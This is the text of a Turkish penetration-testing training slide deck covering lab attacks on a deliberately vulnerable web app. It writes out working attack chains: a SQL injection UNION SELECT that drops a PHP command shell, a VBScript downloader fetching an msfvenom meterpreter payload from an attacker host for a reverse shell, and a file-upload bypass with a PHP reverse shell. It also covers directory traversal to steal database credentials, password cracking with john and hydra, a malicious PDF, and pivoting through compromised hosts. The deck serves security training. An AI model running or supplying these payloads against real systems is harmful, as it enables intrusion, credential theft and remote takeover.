  • 9. SQL INJECTION SENARYOSU SQL Injection ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu öğrendik, buna göre; • MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı fonksiyonalitesini kullanacak komutumuzu yazacağız) • MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web uygulaması yazacağız • Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek • İşletim sistemi komutları ile payload dosyamızı hedef sunucuya yükleyeceğiz • İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
  • 10. SQL INJECTION SENARYOSU [Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi) Uygulamamızın aldığı parametrelerden birisi de Fatura Detaylarım fonksiyonundaki "id" parametresi UYGULAMA ERİŞİMİ İÇİN ! Kullanıcı Kodu: 5550000002 Parola: 1
  • 11. SQL INJECTION SENARYOSU Bu parametreyi "'" işareti ile değiştirdiğimizde PHP kodu içinde bulunan MySQL API'leri hata üretiyor. Bunun nedeni veritabanına giden SQL cümlesinin yapısını bozmuş olmamız.
  • 12. SQL INJECTION SENARYOSU SQL cümlesinin yapısını bozmadan kendi istediğimiz işlemleri veritabanı sunucusuna yaptırabilmek için UNION SELECT deyimini kullanıyoruz. Ancak bu deyimi kullanabilmek için iki koşulu yerine getirmemiz gerekiyor: • SELECT edilen alan sayısının bir önceki SELECT deyimi ile aynı olması • SELECT edilen alanların kendi bir önceki SELECT deyimi ile veri uyumsuzluğu bulunmaması
  • 13. SQL INJECTION SENARYOSU 2 parametre de yeterli olmuyor. Denemeye devam etmeliyiz. Burada SELECT deyiminin yanında numerik sabit değerler kullanmamızın nedeni numerik verilerin string veriler ile uyumlu olması. Ancak tersi söz konusu değil. Bir başka yöntem de NULL sabitinin kullanılması olabilirdi. Bu arada "--" işaretlerinden sonra konan boşluk karakteri MySQL'in bir kuralı olduğu için konuluyor. Ondan sonra gelen bir rakam da bu boşluğun net biçimde görülebilmesi için genellikle kullanılır. MySQL'in comment karakterlerinden birisi de "#" işaretidir. Ancak bunu browser'da kullanırsak browser URL'in burada bittiğini düşünerek iletmiyor. Bu değeri Burp üzerinde Repeater modülünde kullanabilirsiniz.
  • 14. SQL INJECTION SENARYOSU Kolon sayısının 6 olduğunu hata ortadan kalktığında öğrenmiş olduk.
  • 15. SQL INJECTION SENARYOSU Slayt'larda görünmemekle birlikte sayfada aşağıda halen hata alan başka bir kod bölümü daha var. Muhtemelen girdiğimiz parametre bir başka sorguda daha kullanılıyor. Bu gariplik SQLMAP gibi araçların kafasını karıştıran etkenlerden birisi olabiliyor.
  • 16. SQL INJECTION SENARYOSU UNION SELECT 1,2,3,4,5,"<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE 'C:wampwwwcmd.php'-- 2 MySQL'in INTO OUTFILE deyimi sayesinde hedef sunucu üzerinde bir PHP kodu yazabildik. Tabi güvenlik ayarları yükseltilmiş MySQL sunucularında bu mümkün olmayabilir !
  • 17. SQL INJECTION SENARYOSU Dosyamızın başarı ile oluşup oluşmadığını örnekteki gibi herhangi bir işletim sistemi komutunu "cmd" parametresine yazarak deneyelim. /cmd.php?cmd=ipconfig
  • 18. SQL INJECTION SENARYOSU Bu tür işlemleri Burp üzerinde Repeater modülü ile de gerçekleştirebilirdik.
  • 19. SQL INJECTION SENARYOSU Ancak "URL encode as you type" seçeneğini aktif hale getirmeyi unutmayalım. Browser bizim için URL'de girdiğimiz karakterleri URL encode ediyordu. Repeater'da aynı işlemi yapabilmek için bu seçeneği aktif hale getirmeliyiz.
  • 20. SQL INJECTION SENARYOSU URL Encode edilmiş değişikliğimiz
  • 21. echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs SQL INJECTION SENARYOSU
  • 22. SQL INJECTION SENARYOSU wget.vbs script'imizi oluşturacak komutları bir dosyaya kaydedelim
  • 23. SQL INJECTION SENARYOSU cmd.Php uygulamamız aracılığı ile script'imizi daha kolay oluşturabilmek için Burp'ün Intruder modülünü kullanabiliriz. Burp'te payload satırlarımızın yerleşmesi gereken yeri belirtiyoruz.
  • 24. SQL INJECTION SENARYOSU Payloads tab'ında göndereceğimiz istekleri dosyadan yükleyebiliriz
  • 27. SQL INJECTION SENARYOSU Uygulama sunucusuna yüklemek üzere bir meterpreter staged payload üretiyoruz. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.152.129 lport=5555 -f exe -o payload.exe python -m SimpleHTTPServer 80 1 2
  • 28. cscript wget.vbs http://192.168.152.129/payload.exe payload.exe SQL INJECTION SENARYOSU cscript wget.vbs http://192.168.152.129/payload.exe payload.exe
  • 29. SQL INJECTION SENARYOSU TCP 5555 portundan dinlemek üzere Reverse TCP Meterpreter payload'umuz için handler'ımızı başlatıyoruz
  • 31. SQL INJECTION SENARYOSU payload.exe çalıştığında reverse TCP bağlantımız gerçekleşiyor
  • 32. SQLMAP KULLANIMI Sqlmap ile SQL injection saldırısını yapabilmek için öncelikle geçerli cookie'leri kullanmamız lazım, çünkü açıklık barındıran sayfamıza geçerli bir oturum cookie'si ile erişebiliyoruz
  • 35. SQL INJECTION SENARYOSU SQL Injection ile Başka Hangi Yöntemlerle İşletim Sistemi Ele Geçirebilirim Diyenler İçin; SQLMAP'in yazarlarından, detaylı bir araştırma makalesi: • http://www.slideshare.net/inquis/advanced-sql-injection-to- operating-system-full-control-whitepaper-4633857
  • 36. DİZİN AŞIM SENARYOSU İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 37. DİZİN AŞIM SENARYOSU Tanımlamalar / Bilgilerim menüsünde PDF linklerine yapılan istekle ilgili fonksiyonda bir dizin aşım açıklığı bulunuyor
  • 38. DİZİN AŞIM SENARYOSU "filename" parametresine verilen dosya ismi ile üst dizinlerdeki dosyalara erişmek mümkün
  • 39. DİZİN AŞIM SENARYOSU Repeater modülünde "filename" parametresini düzenleyerek ........Windowswin.ini dosyasının içeriğine erişebildik
  • 40. DİZİN AŞIM SENARYOSU Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit etmemiz gerekli • Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir • Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı cümlesini gözlemleyeceğiz • Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız • MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele geçireceğiz
  • 41. DİZİN AŞIM SENARYOSU Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Ön Şartlar Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz. Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'btrisk' WITH GRANT OPTION; FLUSH PRIVILEGES;
  • 42. DİZİN AŞIM SENARYOSU nikto taraması sonucunda web sunucusu üzerinde config.php adlı bir dosyanın bulunduğunu tespit edebildik
  • 43. DİZİN AŞIM SENARYOSU ........wampwwwconfig.php dosyasına yaptığımız istekte config.php dosyasının içinde web uygulamasının veritabanı erişim bilgilerini gözlemleyebildik
  • 44. DİZİN AŞIM SENARYOSU "nmap" taramasında sunucu üzerindeki MySQL sunucusuna uzaktan erişebildiğimizi görebiliriz
  • 45. DİZİN AŞIM SENARYOSU select "test" into outfile "c:wampwwwtest.txt"; mysql --host=192.168.152.128 --user=root --password=btrisk Bu noktadan sonra yazılacak bir web uygulaması aracılığı ile OS komutları çalıştırılabilir ve bir payload yüklenerek sistem ele geçirilebilir.
  • 46. DİZİN AŞIM SENARYOSU select user,host,password from mysql.user; | root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 | | markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C | Elde ettiğimiz hash değerlerini daha sonra parola kırma amacıyla kullanacağız
  • 47. DİZİN AŞIM SENARYOSU MySQL veritabanına SQL injection yapabilmemiz halinde LOAD_FILE fonksiyonu ile de herhangi bir dosyaya erişmemiz mümkün olabilirdi.
  • 48. DİZİN AŞIM SENARYOSU Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Diğer Alternatif Hassas Dosyalar Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı, sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin tutulduğu "passwd" veya "shadow" dosyaları olabilirdi. Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi bir hedef olabilirdi. Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini barındırabilirler. Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
  • 49. DOSYA YÜKLEME SENARYOSU İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  • 50. DOSYA YÜKLEME SENARYOSU Uygulamamızın profil fotoğrafı yükleme fonksiyonalitesini manipüle ederek web sunucusuna bir payload yükleyeceğiz
  • 51. DOSYA YÜKLEME SENARYOSU Bir profil fotoğrafı seçtiğimizde giden istekte 2.jpg adlı bir dosya ismi görüyoruz
  • 52. DOSYA YÜKLEME SENARYOSU Target modülünde bu dosya ismine bir referans olup olmadığını görmek için "Show all" düğmesine tıklayarak "images" türü referansları da görmeye başlayabiliriz
  • 53. DOSYA YÜKLEME SENARYOSU profile_photo dizini altında 2.jpg dosyasına bir referans görebiliyoruz Eğer profil fotoğrafını güncellersek dosyamızın yerleştirileceği dizinin profile_photo dizini olması muhtemel
  • 54. DOSYA YÜKLEME SENARYOSU Dosya Yükleme Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya yükleyebiliriz. • Bu örnekte Metasploit'in PHP payload oluşturma imkanından faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası oluşturacak ve sunucuya bu dosyayı yükleyeceğiz. • Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme yükleyecek. • Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu prosesinin hakları ile sisteme erişeceğiz.
  • 55. DOSYA YÜKLEME SENARYOSU msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=5555 -e php/base64 -f raw > payload.php PHP payload'unun başına ve sonuna "<?php" ve "?>" tag'lerini koymayı unutmayınız
  • 56. DOSYA YÜKLEME SENARYOSU Uygulama geliştirici HTML kodu içinde yüklenebilecek dosya türlerini kısıtlamış Ancak bu kısıtı aşmak dosya uzantısını aşmak veya bir resim seçtikten sonra araya girerek dosya içeriğini değiştirmek kadar kolay
  • 58. DOSYA YÜKLEME SENARYOSU Dosya içeriği Dosya adı
  • 59. DOSYA YÜKLEME SENARYOSU Dosya adını .php uzantılı bir dosya adı ile değiştiriyoruz
  • 60. DOSYA YÜKLEME SENARYOSU Dosyamız başarılı biçimde yüklendi
  • 61. DOSYA YÜKLEME SENARYOSU Metasploit handler ile web sunucusundan gelecek olan reverse TCP bağlantıyı beklemeye hazırız
  • 62. DOSYA YÜKLEME SENARYOSU Php payload'unun shell erişimi malesef stabil değil Bu nedenle bu noktadan sonra meterpreter ile başka bir binary payload yüklenerek daha stabil bir bağlantı sağlanabilir
  • 63. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER Ele geçirme yöntemlerine etki eden faktörler SQL injection açıklığı için • Hedef veritabanı nedir? • Veritabanı tek seferde birden fazla SQL komutuna izin verir mi? • Veritabanının OS komutu çalıştırma imkanı var mıdır? • Veritabanının bir dosyaya yazma imkanı var mıdır?
  • 64. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER Ele geçirme yöntemlerine etki eden faktörler Payload seçimi, payload yükleme yöntemi seçimi için • Hedef işletim sistemi nedir? • Bu işletim sisteminde öntanımlı olarak bulunan veya sonradan yüklenmiş dosya transfer komut imkanları nelerdir? • İşletim sistemine yönelik olarak nasıl bir payload kullanmayı tercih edeceğiz?
  • 65. WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER Ele geçirme yöntemlerine etki eden faktörler Erişim bilgileri ele geçirildiğinde • İşletim sistemi üzerinde hangi servisler aktiftir? Uygulama dilinin tespiti • LFI/RFI açıklıklarının analizi için • File upload açıklığının kullanılması için • Kod injection açıklıklarının analizi için
  • 66. SQLMAP ARACININ ETKİNLİĞİ Sistem – 1 senaryosunda kullandığımız SQLi açıklığını bu defa SQLMAP aracı ile test edelim.
  • 67. SQLMAP ARACININ ETKİNLİĞİ Öncelikle açıklığın bulunduğu sayfaya tanılanmış bir admin kullanıcısı ile erişebileceğimizi senaryo çalışması sırasında da görmüştük.
  • 68. SQLMAP ARACININ ETKİNLİĞİ Sayfaya tanılanmış bir kullanıcı olarak erişebilmek için öncelikle daha önce tespit ettiğimiz admin kullanıcı parolasıyla giriş yapacağız. Hedef sayfaya da authenticate olduktan sonra elde ettiğimiz cookie ile erişebileceğiz. Bu cookie'yi elde edebilmek için iletişimimizi bir attack proxy üzerinden geçireceğiz.
  • 69. SQLMAP ARACININ ETKİNLİĞİ Trafiği incelemek için Burp Suite aracını kullanıyoruz.
  • 70. SQLMAP ARACININ ETKİNLİĞİ "admin" / "btrisk" erişim bilgileri ile giriş yapalım.
  • 71. SQLMAP ARACININ ETKİNLİĞİ Authenticate olduktan sonra iletilen isteklerden herhangi birisinden oturum cookie'lerini elde edebiliriz.
  • 72. SQLMAP ARACININ ETKİNLİĞİ Repeater modülünde "keyword" parametresine tırnak işareti attığımızda SQL sunucu hatasını gözlemleyebiliyoruz.
  • 73. SQLMAP ARACININ ETKİNLİĞİ Sqlmap'e gerekli cookie parametresi ve hedef daraltmak için injection yapılabilecek hedef parametre ve veritabanı sunucu tipini de veriyoruz.
  • 74. SQLMAP ARACININ ETKİNLİĞİ SQLMAP bizim açıkça gördüğümüz keyword parametresinin SQLi açıklığına sahip olma durumunu tespit edemiyor.
  • 75. SQLMAP ARACININ ETKİNLİĞİ SQLMAP neden başarılı olamadı? • Öncelikle "keyword" parametresine bir tırnak işareti ile istek yapıldığında bile veritabanı sunucu hatası gözlenebilmektedir. Bu açıdan SQLMAP beklentinin altında kalmıştır. • POC payload'una baktığımızda injection yapılabilir parametreye "')" şeklinde bir ekleme yapıldığı görülmektedir. Bu tespit çok sayıda deneme veya kaynak kodun gözlenmesi ile mümkün olabilir. Bu açıdan SQLMAP'in UNION SELECT açıklığını tespit edememesi anlaşılabilir. http://[host]/admin/index.php?app=users&ajax=1&action=search &keyword=1') UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO OUTFILE '/tmp/.class.php' -- 2
  • 77. İÇERİK • Parola Saldırı Türleri • Hashing Algoritması • Salt Yöntemi • Rainbow Tables & Online Crackers • Linux Hash Kırma • Windows Hash Kırma • MySQL Hash Kırma • Çevrimiçi (Online) Parola Kırma
  • 78. PAROLA SALDIRI TÜRLERİ Parola hash bilgisine sahip olma durumuna göre: • Çevrimdışı (offline) parola saldırıları – Hash var • Çevrimiçi (online) parola saldırıları – Hash yok, uzaktan veya sistem üzerinde dinamik olarak Parola üretme yöntemine göre: • Sözlük (dictionary) saldırıları • Kaba kuvvet (brute force) saldırıları • Hibrit saldırılar (sözlükten türetilmiş parola listesi)
  • 79. HASHING ALGORİTMASI Hashing tek yönlü (yani üretilen değerden geri dönülemez) bir algoritmadır. İyi bir hash algoritmasının iki temel özelliği olmalıdır: • Düşük çarpışma (collusion) olasılığı, yani aynı hash değerini üretecek farklı bir girdi bulma ihtimalinin düşük olması • Çığ (avalanche) etkisi, yani hash'i hesaplanan verinin herhangi bir yerindeki bir değişikliğin tüm hash değerini etkilemesi
  • 80. SALT YÖNTEMİ Parola saklamak için hashing yönteminin ilk kullanıldığı yerlerden birisi Unix sistemlerdir. Unix sistemler çok kullanıcılı olup tüm kullanıcıların kullanma ihtiyacı olan komutlar nedeniyle (who gibi) /etc/passwd dosyasına erişme hakkı vardır. Shadow dosya kontrolü henüz yok iken kullanıcılar diğer kullanıcıların parola hash'lerini görebildiklerinden parolası aynı olan kullanıcıların kendi parolalarını bildiklerinden diğer kullanıcıların da parolalarını keşfetme imkanı vardı. Bu problem nedeniyle Unix sistemler üzerinde parola hash'leri hesaplanırken bir de salt (tuz) değeri kullanılır.
  • 81. RAINBOW TABLES & ONLINE CRACKERS Salt kullanılmayan hash değerleri için önceden hesaplanmış parola hash'lerini kullanarak hızlı parola kırma imkanı bulunmaktadır.
  • 82. RAINBOW TABLES & ONLINE CRACKERS MD5 NTLM SHA1
  • 83. LINUX HASH KIRMA Kali bilgisayarımızın kullandığı hash algoritması SHA512 Ayrıca parola hash'inin (daha sonra hash değerini göreceğiz) başındaki "$6" ifadesi many rounds anlamına geliyor Öntanımlı round sayısının ise 5000 olduğunu bu dosyada görebiliyoruz.
  • 84. LINUX HASH KIRMA Passwd dosyasında kullanı adını ve id bilgisini görüyoruz. Kullanıcı id'si "0" root kullanıcısı olduğu anlamına geliyor. (Unix'te kullanıcı adı önemli değildir, önemli olan kullanıcı id'sidir) Parola alanlarında ise "x" ifadesi geçiyor, çünkü parola hash değerleri shadow dosyasında yer alıyor.
  • 85. LINUX HASH KIRMA Parola hash değerlerini ise shadow dosyasında görüyoruz. Bu dosyayı root kullanıcısı ve shadow grubu dışındaki kullanıcılar göremezler. "*" ve "!" değerleri hiçbir parola hash'i bu değerlerle eşleşmeyeceği için bu hesaplarla logon olunamaz anlamına gelir.
  • 86. LINUX HASH KIRMA # unshadow /etc/passwd /etc/shadow > pwdhash.txt "john" parola kırma aracı Unix hash'lerini tek bir dosyada beklediği için "unshadow" aradı ile her iki dosyayı hash içeren passwd dosyası haline dönüştürüyoruz.
  • 87. LINUX HASH KIRMA # grep -i ankara /usr/share/wordlists/rockyou.txt > dict.txt # awk -F: '{print $1}' /etc/passwd >> dict.txt Yapacağımız çalışmada kaba kuvvet yöntemini kullanabiliriz, ancak bu günler, aylar veya daha uzun sürebilir. Örneğimizde hedef kullanıcıların Ankara'lı olduğu veya Ankara ile ilişkili olduğunu bildiğimizi varsayalım. Bu senaryoya göre büyük bir parola dosyasından içinde "ankara" kelimesi (büyük harf küçük harf duyarsız biçimde) geçen parolaları seçiyoruz. Bir başka yöntem de parola politikasını biliyorsak böyle bir dosyadan belirli uzunluktaki parolaları ayırma yöntemi olabilir (# awk -F: 'length($1)==6' filename.txt gibi) Bu dosyaya ayrıca kullanıcı adlarını ekliyoruz.
  • 88. LINUX HASH KIRMA # john --wordlist=dict.txt --rules pwdhash.txt John'a bir sözlük verdiğimiz gibi onun --rules özelliğini kullanarak bu sözlükteki kelimeleri dönüştürmesini de istiyoruz. John'un uyguladığı kurallardan birisinin de sözlükteki kelimelerin tersten yazılışı olduğu görülüyor, çünkü bizim sözlüğümüzde kullanıcı adları vardı, ancak "root"un parolasının "toor" olduğunu bulabildi.
  • 90. WINDOWS HASH KIRMA Windows Vista / Windows Server 2008'den itibaren LM hash'leri öntanımlı olarak iptal edilmiştir.LM Hash Algoritması
  • 91. WINDOWS HASH KIRMA Windows 7'den aldığımız LM Hash'inin her iki parçası da boş Kırılan LM Hash parçaları en fazla 7 karakter ve hepsi büyük harf aad3b435b51404eeaad3b435b51404ee
  • 92. WINDOWS HASH KIRMA NTLM Hash'i kırmak için hashkiller.co.uk sitesinden faydalanabiliriz.
  • 93. WINDOWS HASH KIRMA Birinci hash değeri atanmamış bir parola olduğu için bulunamayan Administrator kullanıcı parolası İkinci hash değeri "test" kullanıcısının parolası olan "btrisk" 31d6cfe0d16ae931b73c59d7e0c089c0 979357191cb4f445b47292af934fd2a7
  • 94. MYSQL HASH KIRMA mysql> select user,host,authentication_string from mysql.user | markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C | | root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
  • 95. MYSQL HASH KIRMA MySQL bağlantısında elde ettiğimiz bir hash değerini hash-identifier aracı ile incelediğimizde bize SHA1 veya MySQL hash'i olduğunu söylüyor.
  • 96. MYSQL HASH KIRMA hashkiller.co.uk sitesinin veritabanına göre bu parola "dadada". Bu tür veritabanlarının oluşturulabilmesinin sebebi daha önce de söylediğimiz gibi salt değeri kullanılmamış olması. Aksi takdirde bu veritabanları için gerekli alan ve zaman çok daha fazla olacaktı.
  • 97. ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA hydra -l root -P dict.txt 192.168.163.140 mysql Çevrimiçi (online) parola saldırıları için kullanılabilecek pek çok araçtan bir tanesi Hydra. Çevrimiçi parola saldırıları parola hash'lerine yönelik saldırılara nazaran çok daha uzun sürdüğü gibi log kayıtlarının oluşmasına ve daha kötüsü hesapların kilitlenmesine ve hizmet kaybına neden olabilir. Bu nedenle dikkatli kullanılmaları gerekmektedir.
  • 98. ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA Hydra aracının desteklediği protokol ve servisler.
  • 100. • İstemci Taraflı saldırılar son kullanıcı tarafında gerçekleştirilen saldırılardır. • Burada oluşturduğumuz herhangi bir zararlı içerik kullanıcının bilgisayarına iletilir. • Bir site üzerindeki sahte bir uygulama veya dosya örnek verilebilir. • Adım adım bir uygulama gerçekleştirelim. • Saldırı uygulamamızda bir pdf dosyası kullanacağız. İSTEMCİ TARAFLI SALDIRILAR
  • 103. • Metasploit ile oluşturduğumuz ClientSide.pdf dosyasını, mail veya farklı bir yolla kullanıcının bilgisayarına gönderebilirsiniz. • Biz senaryo amaçlı olarak kopyalıyoruz. İSTEMCİ TARAFLI SALDIRILAR
  • 105. İstemci tarafına aktarılan PDF dosyası İSTEMCİ TARAFLI SALDIRILAR
  • 109. • Bir sunucuyu ele geçirdikten sonra bu sunucunun bağlı olduğu diğer arayüzlerden erişilebilen sunuculara erişim imkanımız doğacaktır. • Farklı bir arayüz bulunmasa bile eriştiğimiz sunucu bir firewall'un arkasında ise bizim tabi olduğumuz erişim kurallarından bağımsız biçimde kendi iç ağındaki diğer sunuculara erişim imkanı olabilir. PIVOTING
  • 110. Kali Linux Windows XP Linux Apache 192.168.2.235 192.168.2.211 10.0.0.120 10.0.0.121 PIVOTING
  • 111. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim için izleyebileceğimiz yollar: • Sunucuya Konumlanma: Ele geçirilen sunucuya gerekli araçları yükleyerek bu sunucu kaynakları üzerinden (komut satırı, remote desktop v.b. bağlantılar ile) diğer sistemlere erişmek • Sunucuyu Router Olarak Kullanma: Atlama sistemi üzerinde işletim sisteminin verdiği routing imkanları kullanılarak ve kendi bilgisayarımızda gerekli routing ayarlarını yaparak diğer sunuculara bu sistem üzerinden erişmek (bu yöntem eğer hedef sunucu firewall'un arkasında ise büyük oranda etkisiz olacaktır) PIVOTING
  • 112. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim için izleyebileceğimiz yollar (devamı): • Sunucuyu Port Forwarder Olarak Kullanma: Yine sunucu platformunun sağladığı port forwarding imkanlarını veya bu sunucu üzerinde çalışabilen port forwarding araçlarını kullanarak diğer sistemlere erişmek. Bu yöntemde ele geçirdiğimiz sistem bir firewall'un arkasında olsa bile bu firewall'un izin verdiği bir porta erişerek arka taraftaki herhangi bir IP adresinin herhangi bir portuna erişme imkanımız olabilecektir. PIVOTING
  • 113. Linux Port Forwarding Örnekleri Iptables ile port forwarding (ip forwarding aktif olmalı) # iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.1.222:8080 # iptables -A FORWARD -p tcp -d 192.168.1.222 --dport 8080 -j ACCEPT Socat aracı ile port forwarding # socat TCP-LISTEN:80,fork TCP:192.168.1.222:8080 Diğer araçlara örnekler • rinetd • redir • haproxy PIVOTING
  • 114. Windows Port Forwarding Örnekleri Netsh ile port forwarding C:> netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.222 connectport=8080 Windows ortamındaki araçlar genellikle GUI arayüzlü araçlar olduğu için çoğu zaman işimize yaramayacaktır. Ancak Windows sunucu üzerinde bir SSH servisi (ör: OpenSSH) çalıştırılabilirse (Linux'da da olduğu gibi) SSH'ın port forwarding imkanı kullanılabilir. PIVOTING
  • 115. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim için izleyebileceğimiz yollar (devamı): • Meterpreter Oturumu Üzerinden Yönlendirme: Eğer atlama sistemimizde meterpreter payload'u çalıştırabilmişsek Metasploit'un sağladığı pivoting araçları buraya kadar saydığımız yöntemler arasında en pratik yönlendirmeyi sağlayacaktır. PIVOTING
  • 116. Metasploit ile Pivoting meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün 192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli ve 255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır] meterpreter> run autoroute -h [bu komutla autoroute script i hakkında yardım bilgisi edinebiliriz] meterpreter> run autoroute -s 10.1.0.0/24 meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print edilebilir] meterpreter> run arp_scanner [script in opsiyonlarını bu komutla görebilirsiniz] meterpreter> run arp_scanner -r 10.1.0.0/24 PIVOTING Hedef sistemin ağ arayüzlerini inceleme1 Hedef sistem üzerindeki meterpreter bileşenleri üzerinden routing'i aktifleştirme2 Uzak ağdaki sistemleri ARP tarama ile tespit etme3
  • 117. Metasploit ile Pivoting Bu noktadan sonra port tarama için iki seçeneğimiz var: 1. Metasploit'in sistem üzerinde çalışan diğer uygulamaların (örneğin nmap'in) kullanabileceği bir proxy çalıştırması ve local sunucu üzerinde çalışacak bu proxy portu üzerinden hedef subnet ve sunuculara bu uygulamalarla erişme 2. Metasploit'in auxiliary/scanner/portscan/tcp modülü ile yeni subnet üzerindeki sunucularda TCP port tarama PIVOTING
